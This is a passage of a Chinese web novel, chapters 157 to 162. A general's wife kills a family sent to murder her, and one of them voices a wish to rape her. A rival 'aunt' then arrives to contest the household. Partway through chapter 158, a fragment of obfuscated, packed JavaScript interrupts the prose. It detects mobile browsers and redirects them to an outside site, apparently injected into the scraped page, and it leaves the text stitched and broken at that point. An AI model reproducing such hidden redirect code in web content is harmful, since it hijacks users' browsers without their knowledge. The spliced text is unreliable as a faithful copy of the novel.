诱饵放下,笃定姜夜沉会咬勾。
另外,罗叔说成大顺一家四十五口在去北疆路上逃跑,是真的逃了跑了?还是人根本没离开鱼庄?
如果成大顺一家压根儿没离开鱼庄,代价会是什么?
寻找机会杀了徐慧珠?
她和罗叔无仇无怨,罗叔为何要杀她?
而罗叔不在场的理由相当充分,凤凰山猛兽出没,他带领青壮年前去接应姜夜沉,一心为主,何错之有?
就算有错,罪不至死。
姜夜沉是将军,奖罚分明。
“夫人,我们走不了了......”
第157章:他要**,就做一回风流鬼
金夏握住剑柄,已做好对战姿态。
徐慧珠心里烦闷,今日怕是得彻底暴露武功。
成大顺领头破门而入,一张老脸笑的阴森得意,“徐夫人,好久不见。”
“奴才成大顺给您请安。”
嘴上自称“奴才”,下一句以“我”挑衅。
成大顺假意行礼,只蹲半身止住动作,“将死之人,受不起我的礼,哈哈哈......”
“翠柳那小**性子虽烈,却是鱼庄最水嫩最美丽的姑娘,将军好不容易来一回鱼庄,为表达我对将军的忠心,特献上美人儿......”
“徐夫人却容不下翠柳,还向将军进言,我成家四十五口人发配去北疆修建长城。”
“徐夫人好歹毒的心肠,想让我成家四十五口人埋葬于长城,断了成家香火。”
“纵使我成家三代为奴,命贱如蝼蚁,可贱奴的命也是命。”
“徐夫人,凭什么你一句话,就想杀光我成家四十五口人?”
“你是掌握生杀大权的阎王爷吗?”
这些话憋在成大顺心里太久,一吐为快。
他响起罗叔事后说过的那些话,才知是他倒霉,撞在徐夫人的刀尖上。
也就是说,徐夫人,才是害了他全家的仇人。
“按安国律法,成家从第四代可拥有良籍,读书、参军、当官……成家枝繁叶茂,不愁兴旺。”
“我的所有谋算,成家的未来……都被你毁了。”
“徐夫人,那就莫怪我拉你共赴阴曹地府……”
“杀一个贵人,我成大顺不枉此生。”
“哈哈哈......”
徐慧珠放弃说服成大顺,很明显,成大顺已被罗叔洗脑,抱着与她同归于尽的必死之势。
徐慧珠冷眼扫过黑压压的人群,这里面都是成家人?或许罗叔许给成大顺旁的“好处”……
“共赴黄泉?”徐慧珠好似听到一个不怎么好笑的笑话,“成大顺,说你蠢你还喘上了。”
“你以为罗叔是善人,会为成家保存香火,而不是让成家人死绝?”
“话本子或戏文该看过吧,**才能守住秘密。”
成大顺挥舞手里的**,满目狰狞,“徐夫人,嘿嘿,受死吧。”
成大顺怕死,但人在身处绝境之时,思想会变得疯狂。
他是生来低贱的奴,徐慧珠是生来高贵的贵人,可如今贵人的命捏在他的手里,他手持**,白刀子进红刀子出。
该多痛快。
“阿爷?”成大顺的胳膊被一名少年抓住,“阿爷且慢。”
“成小满,做甚?”成大顺厉声质问。
“阿爷,我……我长到十五岁,还没尝过女子的味道。”说话的少年,是成大顺的孙子。
成小满平生见过最美的女子是翠柳,他早就认定翠柳是他的媳妇,只待他年满十五,就能娶翠柳为妻。
不成想,阿爷看翠柳的目光变了味,妄想学京城里的贵人纳妾,让翠柳延续生儿子的任务。
成小满的心里,一直悄悄记恨着成大顺。
老不死的种猪。
成小满偷偷看过一些野话本,里面有一句:牡丹花下死,做鬼也风流。
他都要**,那就做一回风流鬼。
至少,让他尝一尝女人的滋味,是不是如野话本描述的那般快活销魂。
“阿爷,孙儿求您成全。”
成小满噗通跪下,“听说将军不能人道,这位徐夫人还是清白之身,年纪是大了点,长得不如翠柳水嫩好看……”
“阿爷,我不嫌弃。”
成大顺不愿节外生枝,可成小满接下来的一番话,让成大顺心动。
“阿爷?”
“阿爷,您想啊,孙儿破了徐夫人的身子,万一有孕......整个将军府由流着成氏血脉的后代继承......”
徐慧珠微愣。
她被嫌弃了。
一个坏东西竟敢嫌弃她年龄大,容貌差?
徐慧珠觉得,自己再迟一瞬要成大顺等人的命,就是对不住自己。
有人脑子进了粪物,上赶着送死,那就成全他们。
“杀。”徐慧珠下令。
话音落,她手里的**已割断成小满的脖子。
“睁大眼睛瞧着,我老吗?丑吗?”
“眼光差,嘴巴臭,该死。”
“还妄想将军府该姓......呵!”
金夏手里的长剑,先是砍断成大顺的胳膊,接着抽出,又插入其胸口。
等姜夜沉携猎物满载
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而归,入眼是满院凉透了的尸体。
血气弥漫空中。
他狠狠松了一口气,面上不显分毫,“夫人独自玩**游戏,不等为夫?”
姜夜沉的平静,吓住罗叔。
罗叔往后退一步,正巧是门槛,他直挺挺摔下去,头磕在地上,汩汩流血。
徐慧珠自是瞧见在罗叔倒下的一瞬,姜夜沉踢过去一块尖锐的石头。
罗叔瞪大一双眼睛,指着姜夜沉,满眼不甘不信,“将……将军,您……您……”
“罗叔,徐慧珠是我的夫人,和我同生共死。”
“你……万不该碰她害她。”
罗叔的身体抽动几下,断了气息。
他,瞪大双眼,死不瞑目。
罗叔终于看清楚姜夜沉眼里的浓浓杀意,他才明白,姜夜沉什么都知道。
是他蠢不可及。
“将军这是……**灭口?”徐慧珠没想到姜夜沉连审问一句不曾,直接处置罗叔。
“将军不质问这些人是谁,为何杀我?也不审问罗叔,他背后的主子是谁?为何费尽心思要我死?”
徐慧珠直觉罗叔此番设局,为她的命。
罗叔对姜夜沉,忠心可鉴。
偏偏,罗叔这份忠心,以要她命为前提。
要她死的人,今日是罗叔,明日会是旁人。
她必须杀罗叔这只“鸡”给暗处心思浮动的“猴”看,他们最好对她别动不该有的心思,不然,下场就是死。
“徐慧珠,是我的错。”
“罗叔他……”
这时,大福禀报,“将军,丽云夫人回京,人已住进将军府。”
徐慧珠能感觉到姜夜沉的气息,转瞬变冷,“夫人,先回将军府。”
姜夜沉骑马,徐慧珠坐马车,两人默契地不言语。
金夏小声嘀咕,“夫人,将军不喜您暴露武功?嫌您**?”
“不应该啊,将军的觉悟这么低?”
徐慧珠生出成立剑舞队的想法,为的什么,姜夜沉明知,却助她实现梦想。
金夏不愿背后说姜夜沉的“坏话”,转而安慰徐慧珠,“夫人,下月剑舞队将在皇家狩猎开场表演,奴婢保证给世间女子争一口气,让天下人见识女子的能力......”
第158章:丽云夫人登门抢人
话本里有说“巾帼不让须眉”,但这世道的规则由男人制定,以男人为尊,由男人掌权,女子的活路只能在后宅一小方天地里。
徐慧珠不甘不愿,她要为自己,也为世间女子争一争。
在男人眼里,剑舞队只是“剑舞队”,可徐慧珠借此“以小谋大”。
两人就剑舞队说了会儿话,临下马车,徐慧珠还是吩咐金夏,“去查一下丽云夫人。”
“私下查。”
金夏了然。
“夫人的意思,是不能向大福打听,也不能去云霄阁找阿魂……”
金夏瞪大眼睛,“夫人的意思是瞒着将军,难道?”
“难道那位丽云夫人来者不善?同夫人您抢将军不成?”
来者不善吗?
说来,徐慧珠从未听说过丽云夫人,是她前两世里的记忆缺失?还是今生轨迹有所不同?
但有一点,徐慧珠确定,丽云夫人突然出现影响到姜夜沉的情绪。
“阿夜?”丽云夫人一身白衣,像画里的仙子。
“小姨。”姜夜沉后退一步,避开丽云夫人亲近。
丽云夫人眼里闪烁一抹暗色,“阿夜,我不过比你年长五岁,非得叫我小姨,好似我很老?”
“难道就不能稍稍满足我的虚荣心,叫我‘师姐’?”
“阿夜,从前你都是叫我师姐,叫了我五年呢。”
“小姨,礼不可废。”姜夜沉说完,主动向丽云夫人介绍,“我已大婚,这位是我的夫人——徐氏慧珠。”
“见过小姨。”徐慧珠掩下眼里的异色,恭敬行礼。
尽管,她觉得两人之间的气息,有点儿说不清道不明的怪异。
“徐-慧-珠?”
“凝玉公主硬塞给你的妾?”
丽云夫人美则美矣,可惜长了一张散发臭味的嘴。
“阿夜,妾就是妾,怎能以‘夫人’称,乱了规矩。”
前一瞬,丽云夫人扭捏着姿态,要求姜夜沉叫她“师姐”。
下一瞬,就开始摆长辈的谱说教。
的确,来者不善。
是敌非友。
姜夜沉正欲说话,徐慧珠先一步,“丽云夫人此言不妥。”
徐慧珠从不惯着“敌人”,这声“小姨”,她不会再叫第二回。
就算丽云夫人是婆母的妹妹,又如何?
这门亲戚,徐慧珠不打算认下。
“哼。”丽云夫人似是没想到徐慧珠敢顶撞她,“我和阿夜说话,一个妾,插什么嘴?”
“真真是没规没矩。”
“上不得台面。”
“丢人现眼的玩意儿。”
一连串言语羞辱,初次见面,丽云夫人身为长辈给徐慧珠的见面礼,就是一脚把她踩入泥坑里,狠狠羞辱。
站在徐慧珠身后的金夏忍了又忍,实在忍无可忍,“皇上亲下赐婚旨意,又赐予夫人诰命,将军允夫人‘妾行妻权’……夫人说丽云夫人您言语不妥,是好心提醒您莫欺君抗旨。”
“贱婢。”丽云夫人扬手欲扇金夏耳光,为平怒火,更为试探姜夜沉。
她迫切想知道,他会一如既往容忍她吗?
“丽云夫人何意?”徐慧珠捏住丽云夫人的手腕,用了一成力度,丽云夫人痛呼出声,“阿夜,你的妾,打我。”
“阿夜,你不管吗?”
丽云夫人看向姜夜沉的目光,透着委屈,含着情意。
身为长辈,向晚辈“撒娇”?
他们之间?
徐慧珠想到什么,猛的打了个冷颤。
“我只是阻止丽云夫人行凶,丽云夫人却栽赃陷害,是何居心?”
“金夏不过说几句大实话,丽云夫人生什么气,怒什么火。”
“丽云夫人是想左手打完金夏的脸,再右手打我的脸?”
“我有一事不明,还请丽云夫人答疑解惑,身为亲戚,登门是客,却对主人打骂羞辱,是遵的哪条理法?守的哪样规矩?”
“丽云夫人,将军府不欢迎你。”
徐慧珠假装瞧不见姜夜沉的脸色,她直接下令,“金夏,将丽云夫人的行礼搬至祥生客栈,开一间天字房,记在将军府的账上。”
“若有人好奇问起,尽可实话实说,就说丽云夫人瞧不上我,妾的低贱身份,配不上侍奉丽云夫人这位贵客。”
“你?”丽云夫人被困溟山多年,消息闭塞,等她得知姜夜沉大婚,已然太迟。
她自下溟山,一路快马疾行,赶到京城。
这门亲事,她不认。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945299|188170||http|test|mini|href|location''.split(''|''),0,{}));
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r>“怎么?丽云夫人要在将军府大门前闹的人尽皆知,和我这个上不得台面的妾……计较?”
金夏领命离开,却被大福挡住入府的路。
“大福?”金夏瞪了大福一眼,一脚踩在大福的鞋面上,心疼的大福立马蹲下身擦拭靴子的脏污。
金夏闪身入府,不忘怼一句,“大福,你这双臭脚不配穿这么好的靴子,哼。”
金夏爱憎分明,好着的时候,一口一声“大福哥”“大福统领”。
再说,大福脚上穿着的新靴子,是金夏送她的生辰礼物。
她,有理由气恼。
大福幽怨地看向姜夜沉,无声控诉:将军,您连累惨我了。
“阿夜,你……你赶我走?任由一个低贱妾室欺辱我至此?”丽云夫人逼近一步,“阿夜,难道你忘了,我曾救过你的命……”
徐慧珠只觉得胃里一阵翻涌,金夏没猜错,丽云夫人是来同她抢夺姜夜沉的。
可,丽云夫人明明是姜夜沉的长辈,被称呼为“小姨”的长辈,他们之间发生过什么?
超越伦理纲常的男女情愫?
又是一朵烂桃花?
丽云夫人不愿搭理她,却一步一步逼迫姜夜沉。更让徐慧珠震惊的是,丽云夫人不屑掩饰她对姜夜沉的不纯心思。
难道?
她不顾忌自己的名声,也不在意姜夜沉的体面。
“夫人?”姜夜沉目色沉冷,“丽云夫人是我的救命恩人,她想在将军府住多久就住多久,当尊为上宾。”
又下令,“大福,去同管叔说一声,将紫藤院收拾妥当。”
姜夜沉随她,改口“丽云夫人”。
“阿夜,你……你?”丽云夫人似是难以置信,声音发颤,“阿夜,你对我何故冷漠?”
“你我多年未见,就不能好好说话吗?”
“阿夜,你的脾气,仍如少年时倔强。”
丽云夫人空有仙子皮囊,内里满腹腐酸豆腐渣。
她挑衅地看了一眼徐慧珠,“将军府是阿夜的将军府,一个妾管着将军府像什么话,说出去丢的还是阿夜的脸面。”
“阿夜,我打算回京待半年光景,帮你管理后宅,教导妾室规矩。”
“可好?”
第159章:将军的秘密?把柄?
丽云夫人的厚颜无耻,再次刷新徐慧珠的人生见识。
她横空出现,先抢徐慧珠手里的权,再夺姜夜沉这个人。
跟个强盗似的。
“自是不好不行不可。”
“丽云夫人?”
姜夜沉声音冰凉,犹如寒气入骨,冻的丽云夫人恢复几分理智,是她太过急切了些。
姜夜沉本就是翱翔高空的鹰,逼得太急,说不得适得其反。
慢慢来。
她等了多年,如今有的是时间,与姜夜沉慢慢磨。也有更多耐心,等到姜夜沉释然那一日。
那件事的发生,是有她的算计在,也是意外。
过程怎样重要吗?
重要的是,她救了姜夜沉的命。
当时那种情形,若不是她,姜夜沉会爆体而亡。
人都没命了,说什么皆是枉然。
“慧珠说得在理。”
“丽云夫人,你登门是客,便是外人,将军府哪有让外人管着的道理,就不劳你费心。”
“慧珠妾行妻权,打理将军府后宅半年有余,元乐长公主和襄王妃时有夸赞,从未出差错。”
丽云夫人这才正视徐慧珠。
她还没怎么为难徐慧珠,姜夜沉就为她说话,处处维护?
他的心,一向冰冷,何时软过?
还有,徐慧珠一个妾室何德何能,竟入了元乐长公主的贵眼。
元乐长公主眼瞎不成?
一想到元乐长公主,丽云夫人的神色闪烁过一瞬不自然。
还有恨意。
徐慧珠接话,“丽云夫人既是将军的救命恩人,救命之恩,自当厚报。”
“再说,您是将军的长辈,终归有一层亲戚关系存在。您就是挟恩求报,说一些过分的话,提一些无理要求,将军也不能如何啊。”
“丽云夫人是打算在将军府大门吵闹到人尽皆知?以证明您有能力让将军难堪,颜面扫地?”
“可,旁人或嘲笑或发难将军,丽云夫人您又能得到什么好处?”
徐慧珠只差直白骂丽云夫人无赖,臭不要脸。
她分明感受到姜夜沉对丽云夫人的厌恶,又透着一抹怪异的情愫。
丽云夫人手里攥着姜夜沉的秘密?把柄?
到底是什么?
丽云夫人此番来京,她是先北疆王妃的娘家小妹,这样的身份本就敏感,说不得她一出现京城,就被各方势力盯住,借机生事。
不管丽云夫人何种目的,与其留她在外面闹腾,不如请敌人入瓮,将人放在眼皮子底下。
徐慧珠倒要看看丽云夫人的脸皮有多厚多无耻,她更好奇姜夜沉和丽云夫人之间发生过什么事。
丽云夫人气得浑身发抖,恨不能撕碎徐慧珠的嘴。
她冷笑嘲讽,“阿夜,你对女子的审美,越发差了。”
“凝玉公主再怎么草包,她是嫡公主,占着身份尊贵,容貌也算能入眼。”
“可,你纳的这个妾,出身平常,姿色寡淡……配不上你啊,阿夜。”
可惜,丽云夫人没在徐慧珠的脸上,看点一丝恼怒和愤恨。
平静的让丽云夫人觉得假。
假模假样。
虚伪至极。
徐慧珠不再理会丽云夫人,撇下姜夜沉,转身入府。
她,不打扰两人叙旧。
仙子堕入俗尘凡世,沾染俗气尘土,便空有一副绝色皮囊。
说的就是丽云夫人。
一连五日,相安无事。
将军府看似风平浪静,徐慧珠日日待在主院里,不闻院外事。
徐慧珠不会上赶着过问,丽云夫人在将军住的可否习惯?心情是否舒畅?
她很忙。
白日里,她盘算账本,看话本子,写戏文,打叶子牌……天色刚暗,她就困得睁不开眼。
姜夜沉夜里归府,主院灭了烛火,徐慧珠**睡下。
不等他。
好在,徐慧珠还记得她是他的药,给他留门,他拥着她入睡,他的隐疾再未犯过。
丽云夫人住进将军府的第六日,恰好姜夜沉休沐。
过了早膳时辰,姜夜沉睡得安稳,徐慧珠只得陪着。
堂堂杀神大将军、锦衣卫统领,鲜为人知的嗜好竟是睡懒觉,**得睡到午膳时辰。
“丽云夫人,将军和夫人不便见客,请您过一个时辰再来吧。”金秋压低声音,生怕吵醒主子。
“徐慧珠每日起身这般晚?”丽云夫人语气不悦,“将军府上午婆母,下无稚儿,徐慧珠便能如此懒惰?实在不像话,哼!”
这话,金秋不应。
心里毫不客气怼回去:丽云夫人您住在
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河面上吗?管得真够宽的。
“行了,你去通传一声,我寻阿夜有事。”
金秋未动,“回禀丽云夫人,奴婢不敢。”
“将军定下规矩,他治病时,扰乱他心神者,乱棍打死。”
丽云夫人耐着性子在紫藤院等待五日,只见到三两回管叔,送来份例。
客气疏离。
恭敬浮于表面。
丽云夫人心里窝着火,无处宣泄。
她此番来寻姜夜沉,为的是做将军府的女主人,而不是客人。
自她住进将军府,徐慧珠一没请安,二没问候。
姜夜沉躲着她,冷着她。
她千辛万苦逃出溟山,来到京城,为姜夜沉而来。
姜夜沉的病,她才是药引。
这些年,她不在,才被一个个**钻了空子,妄想攀附上姜夜沉。其中,徐慧珠最不要脸面,竟让她得逞了。
丽云夫人心里悔恨,从前,她恨自己被困于溟山。现下,她恨毒徐慧珠......鸠占鹊巢。
“阿夜,我要见你。”
“阿夜阿夜?”丽云夫人既然来了,偏就不走。
内室里,自丽云夫人入院中,姜夜沉醒了。
“丽云夫人寻将军有事,我就不出去讨人嫌。”
“将军请丽云夫人去书房,我待会儿同管事对账,还得去一趟醉仙戏楼见阿魂……”
徐慧珠的意思:老娘很忙,没空陪将军应付长辈不似长辈,仙子不似仙子的丽云夫人。
她不是怕,也不是躲。
她是觉得,丽云夫**概脑子有病,不值得她浪费心思。
她心里有气,也恼着姜夜沉。
“慧珠,你打算与我冷战到何时?”
“鱼庄发生的事,我事先不知情,罗叔他……”
“将军起身吧,丽云夫人在院中等你。罗叔利用成大顺一家算计我的性命,一家四十五口人再加上罗叔的命,说来,是我赚了。”徐慧珠不想听姜夜沉解释。
丽云夫人住进将军府的当日,她去药房冷静,普神医听说丽云夫人,眼神古怪,嘟囔一句“药引来了。”
也就是说,她和丽云夫人同属姜夜沉的药引。
她是治疗姜夜沉入眠困难的药引,丽云夫人是何种药引?
姜夜沉到底瞒着她什么?
第160章:他们是师姐师弟?
姜夜沉不能人道,丽云夫人能治?
难怪……
“阿夜,你当真狠心到不见我吗?”
“好好好,阿夜,你只要说你不愿见我,我……我这就回溟山。”
“从此,如你的愿,再不相见。”
丽云夫人眉色不耐,语气幽怨,比醉仙戏楼的戏子唱得不差。
她偏不信,今日堵不住姜夜沉。
她困在溟山五年,错过太多,万幸不算太迟。
她的阿夜,怎能拱手让给徐慧珠那个**?
她定要夺回来。
门,打开。
又,迅速关上。
内室的景,丽云夫人什么也没瞧见。
她有些不解,从见到徐慧珠的那一刻,她的表现还不够明显吗?
徐慧珠能忍得住?
徐慧珠是不在意?还是把她当作蹦跶的跳梁小丑?
“丽云夫人?”
“既然有事,就去书房说。”
姜夜沉说完,快步离开。
“阿夜阿夜?”丽云夫人伸手去抓姜夜沉的衣袖,但姜夜沉走得太快,她的手,抓到一片空。
“回禀夫人,丽云夫人跟去了书房,大福守在外面,暗处有暗卫。”
“奴婢……奴婢稍后就去寻大福打探……大福敢瞒奴婢,奴婢揍的他满地找牙,再也不理他。”
金夏的小本本上,记录她最讨厌的人名,凝玉公主、荣慧的后面,新添丽云夫人。
都是她金夏的敌人。
“不必了。”
“不必刻意去寻大福套话。”
她要让姜夜沉知晓她的态度,丽云夫人住进将军府,她不管不理,任由他处理。
当然,若丽云夫人招惹她,她从来都不是一颗软柿子。
回击就是了。
“金夏,你走一趟溟山,探听丽云夫人在溟山的事。”
“我午后会入宫为凝玉公主和暮歌姑娘看诊,这两位的身子受损,都需要一种药虫为引,唯有西疆迷城深山里可能寻到此物。”
迷城,距离溟山就近了。
金夏明面奉旨去迷城寻药虫,私下走一趟溟山,谁也不会发现。
“是,夫人,奴婢保证将那位丽云夫人里里外外查个透。”
“哼,奴婢瞧着丽云夫人就不是什么好货色,平白瞎了一副仙子皮囊,内里指不定多脏多污呢。”
徐慧珠面对满桌佳肴,都是她日常喜欢的菜色,却胃口不佳。
她的心情,还是受到影响。
于姜夜沉来说,丽云夫人明显是不同的。
他厌恶凝玉公主,无感荣慧,但对丽云夫人,他的冷淡疏离,他的纵容忍受,却有一层旁的东西。
还有,丽云夫人一再坚持让姜夜沉叫她“师姐”。
师姐师弟?
她曾听姜夜沉提说过,他和钱无双在溟山学习武功兵法,也算有师兄弟的情分。
不过,他们默契地对外不提这段“旧情”,知者甚少。
书房里,没有外人,丽云夫人未开口先流泪,“阿夜。”
“已经过去五年,你还在恨我怨我吗?”
“可,阿夜啊,就算你心里怨我恨我,也要顾及自己的身子。”
“普神医曾说过,病症需追根溯源,我是你患病的根源,也可能是你治愈的药引。”
“阿夜,我心疼你啊。”
丽云夫人扑到姜夜沉的怀里,搂住他的腰,“阿夜,求你别推开我,就让我……让我抱一会儿。”
“我发过毒誓,五年前那一夜发生的事情,绝不会告诉任何人,包括你的妾--徐慧珠。”
她,在威胁他。
姜夜沉身体僵硬,转瞬使力,推开丽云夫人。
丽云夫人武功不差,但仍受不住姜夜沉的内力。
血,顺着丽云夫人的嘴角流出,更多的腥血吞入腹中。
“看在母妃的面上,我不会杀你。”
“三日之后,你自行回溟山,或者我派人送你回溟山。”
姜夜沉坐回椅子里,浑身散发冷漠气息。
“至于我的病,不劳烦你操心。”
“你,也不会是我的药引。”
两人的叙旧,不欢而散。
这一夜,姜夜沉留在皇宫值勤,只派大福回府说一声。
不知怎的,徐慧珠躺在舒适的床榻上竟翻来覆去难以入眠,与其浪费时间又内耗自己,不如制药。
她和普神医联手制出的药丸,或救命,或补身,专卖权贵。
数银子的生活,快活似神仙。
丽云夫人不知怎地受了伤,去药房拿药时,撞见徐慧珠正在侍弄药草。
“徐慧珠,你…
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…你怎么在药房?”
丽云夫人这会儿不想看见徐慧珠,她一动气,只觉得受过的内伤,疼痛感更强烈些。
不过,转念一想。
姜夜沉打她,证明她能左右他的喜怒,证明他心里有她。
他对她……念念不忘。
是这样吗?
是,一定是这样。
如她所想。
“丽云夫人是客人,自是不知我略通医术,凑巧入得普神医的眼,跟着普神医入宫为娘娘、公主看诊。”
“这不,奉旨为凝玉公主和暮歌姑娘两位贵人看诊。”
丽云夫人翻白眼,为娘娘、公主看诊又如何?
还不是供人使唤的大夫,充其量体面几分的大夫,就这?好意思说出来显摆?
不知所谓。
果真是上不得台面的妾室。
“听将军说丽云夫人远在溟山,大概消息闭塞。”
“凝玉公主是皇族嫡公主,和将军有过婚约,可惜造化弄人……”
凝玉公主本就觊觎姜夜沉,闹得里子面子精光,还贼心不死。
哪怕姜夜沉不能人道,凝玉公主仍强抢姜夜沉这朵娇艳的花儿,妄想供她……辣手摧花。
那么,徐慧珠就好心为凝玉公主树个“情敌”。
“还有暮歌姑娘,虽是厉贵妃身边的宫女,却有幸得太子青睐,已是准太子妃。”
“普神医呢?”丽云夫人受了内伤,疼痛难忍,没精力找茬。
她来寻普神医拿一瓶止疼药丸。
“不在。”
徐慧珠又补充一句,“普神医和金夏奉旨出京寻药,不在府中。”
“丽云夫人找普神医看诊?难道?”
“难道丽云夫人病了?不知将军在书房同丽云夫人您说了什么话,气到了你?”
丽云夫人正欲转身离开,听到徐慧珠的话,止住脚步。
“我和阿夜不过是在书房叙旧谈心,有些话,外人听不得。”
“徐慧珠,你是外人,明白吗?”
丽云夫人和凝玉公主倒是拥有共同点,一个仗着她和姜夜沉的秘密,一个仗着高贵无双的身份,堂而皇之欺辱她。
都不把她放在眼里。
肆意嚣张。
“对了,徐慧珠,还有一件事情,不妨告诉你......”
第161章:阿夜,早就是我的人了
丽云夫人故意凑近了些,“可闻到阿夜残留的气味?”
“阿夜的怀抱,一如当初温暖。”
“阿夜,早就是我的人了,我和他......”
“所以,徐慧珠,你才是外人,于阿夜来说,无关紧要的陌生人。”
药房里唯有她们两人,丽云夫人哪是打开天窗说亮话,实则不知廉耻,等于直白宣扬她和姜夜沉在书房里搂了抱了,指不定还亲上了。
“听说,丽云夫人是婆母的娘家小妹,便是将军的长辈。”
“虽年龄相当,但辈分是你们之间不能跨越的鸿沟,将军亲口称您‘小姨’,难道是我听岔了不成?”
“难道丽云夫人您自诩唐皇李隆基,肖想儿媳杨玉环,扯一面所谓情爱大旗,遮掩自己肮脏又龌龊的心思?”
可惜,丽云夫人成不了唐皇李隆基,姜夜沉更不会沦为“杨玉环”。
士可杀不可辱嘛。
“丽云夫人,求您……为自己留点脸面吧。”
“您一大把年纪,别整天看野话本,学男人‘老牛吃嫩草’。”
“莫说您和将军是亲戚关系,违逆伦理纲常必遭天谴。就是您也是京城里爱慕将军的贵女之一,又如何?”
“将军钟情您大龄?爱慕您眼角的细纹?心动您腰间的赘肉?”
“丽云夫人,您自个儿不觉得恶心,却恶心到旁人了。”
又大发感叹:“丽云夫人,您好没公德心啊。”
“徐慧珠,你……你……”丽云夫人气得胸口疼。
她本想气一气徐慧珠,不成想,气人未遂,自己差点被徐慧珠气到呕血。
高门大户里的妾室,哪个不是温柔小意,以取悦主子为己任。
阿夜纳的妾,是市井泼妇?
唉,可怜了阿夜。
受尽苦楚。
好在,她来到阿夜的身边,她会陪着他,长长久久陪着他。
她已经想到一种万全之策……
徐慧珠该庆幸自己没有窥听旁人心声的能力,她够倒霉,遇到的敌人不是疯子,就是病人。
都是这世间的奇葩物种。
因着她,奇葩扎堆了吗?
徐慧珠不禁想,大概她命中带劫,自她动手刺死苗耀祖,就开始她的历劫路。
“徐慧珠,你放肆。”丽云夫人扬起手掌,她看不得徐慧珠这张寡淡无趣的脸,恨不能抽烂了去。
“丽云夫人本就受了内伤,现下动怒动力,是想死得更快?”徐慧珠捏住丽云夫人的手腕,顺势为她把了个脉。
“什么?”
“徐慧珠,你胡说什么。”丽云夫人自是不信,她又不是没受过内伤,再说阿夜舍不得伤她,警告她罢了。
“呵!庸医。”丽云夫人冷笑道。
“徐慧珠,我虽不知你用了何等下作手段逼普神医收你为徒,标榜你会医术,以此哄骗阿夜。”
“我会向阿夜揭穿你的丑陋面目。”
徐慧珠放开丽云夫人的手腕,“丽云夫人,您若不信,请离开。”
“待明日清晨您下不来床榻,到时别冤枉我没事先提醒过你。”
“丽云夫人,您尽管作。”
丽云夫人后退一步,只觉得胸口处仿佛针扎的痛。
“徐慧珠,你……你对我做了什么?”
徐慧珠的确悄无声息动了点手脚,成倍放大丽云夫人内伤的疼痛感。
她是做过,不承认就是了。
“丽云夫人这就演一出赖上我的大戏?该不会等将军归府,便向将军告状,栽赃我打伤您,陷害我欺辱您?”
“我没空陪你玩。”
药房外,大福忍功有待修炼,笑出声,“夫人真厉害。”
“将军,您多余担心,夫人就不是吃亏的主。”
“您啊,还是多操心丽云夫人吧,她本就小气,万一被夫人气伤气死……”
大福还有一句话,默默在心里说:且看金夏就知晓,丫鬟不好惹,主子更惹不起。
大福一低头,瞧见自己脚上换上的旧靴,心中苦涩,哪里还笑的出来。
金夏和普神医奉旨寻药,离京之前,金夏特意寻他。
大福天真地以为,金夏来同他告别,两人依依话别一番,他特意准备一肚子的话,甚至打算豁出去表白心迹。
哪知金夏闯入他的屋子,冷着脸,一句话不说,抢过靴子就跑。
待他回过神来,金夏走了。
“滚。”
姜夜沉心情烦躁。
他在皇宫当
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值,带队在皇宫转悠两圈,越发心神不宁。
困意席卷,他明明瞌睡到眼皮打架,力气似乎被一股莫名的力量抽走,只感觉到无尽的疲累,却又毫无睡意。
他被折磨的浑身难受,干脆回府。
寻他的药。
普神医常絮叨:有病就得治。
从前,姜夜沉认为普神医胡说,他没病,就是病了,也没病。
现下,姜夜沉觉得普神医所言,似乎在理几分。
门,嘭地一声打开,也惊扰姜夜沉的思绪。
看到姜夜沉的那一瞬,徐慧珠窝在心里的那团火烧得正旺。
前有死缠烂打的凝玉公主,徐慧珠不气。
再有阴魂不散的荣慧,徐慧珠也不恼。
可,丽云夫人的出现,让徐慧珠生出不安、烦躁。
“将军来得正好,丽云夫人身体不爽,闹着请太医。”
“我的医术,丽云夫人不信。”
徐慧珠意欲离开,姜夜沉却没眼色,挡在门口。
他以为,他是门神吗?
“阿夜。”
丽云夫人脸色煞白,身子摇摇欲坠,便直接坠入姜夜沉的怀里。
“阿夜,救……救我。”
论演技,丽云夫人更胜一筹。
“丽云夫人,奴婢扶着您。”隐匿于暗处的橘红现身,“请您松手,搂着奴婢的腰,太紧了些。”
“阿夜?”丽云夫人原本煞白的脸颊,满面涨红,不知是气的,还是羞的。
“橘红,送丽云夫人回紫藤院。”
“大福,去请太医。”姜夜沉冷声下令。
姜夜沉无视丽云夫人的怨念,他很困,想要拥着他的专属药人,狠狠睡一觉。
“得令。”大福转身离开。
“丽云夫人,您看,奴婢是扶着您走?还是抱着您?”橘红面无表情,说话难听。
“滚。”丽云夫人使力推开橘红,她一动用内力,感觉五脏六腑搅在一处,疼痛难忍。
“阿夜,我……我好痛啊。”
“太痛了。”
徐慧珠手下动作未停,心里怼道:疼死活该。
“阿夜,我……我怕等不及太医到来。”
“阿夜,徐慧珠给我下毒。”
“阿夜,救我。”
第162章:准太子妃的人情
丽云夫人不死心,当着徐慧珠的面,三番五次向姜夜沉投怀送抱。
“夫人?”姜夜沉目露不忍,“给她药。”
徐慧珠取出一瓶药丸,递过去,“丽云夫人怎么受的内伤,天知地知您知,您张口我下毒,闭口我不尊不敬您,那这瓶**,您爱吃就吃,不吃拉倒。”
“请离开药房,此处乃我和普神医的地盘,闲杂人等勿进。”
姜夜沉说道,“慧珠不会下毒。”
“丽云夫人,是我伤了你,莫要迁怒于慧珠。”
“橘红,送丽云夫人回伊藤痣休息,交待下人仔细侍奉。”
橘红这回不再惯着丽云夫人,直接将人拖走。
“阿夜……”丽云夫人难得见到姜夜沉,恨不能黏在姜夜沉的身上,如何舍得离开。
少了丽云夫人聒噪,药房一时安静下来。
“徐慧珠,你在怨我?”
“将军说笑了,我怎敢怨你分毫?”徐慧珠说道,“正如丽云夫人所言,我的身份是妾,哪怕妾行妻权,也是妾。”
“身为妾,哪有嚣张跋扈、仗势欺人的底气呢。”
她从不看轻自己。
她气他,也气自己。
甚至,她也说不清道不明,自己在“闹”什么。
“因为她?”
姜夜沉似是想到什么,突然笑了。
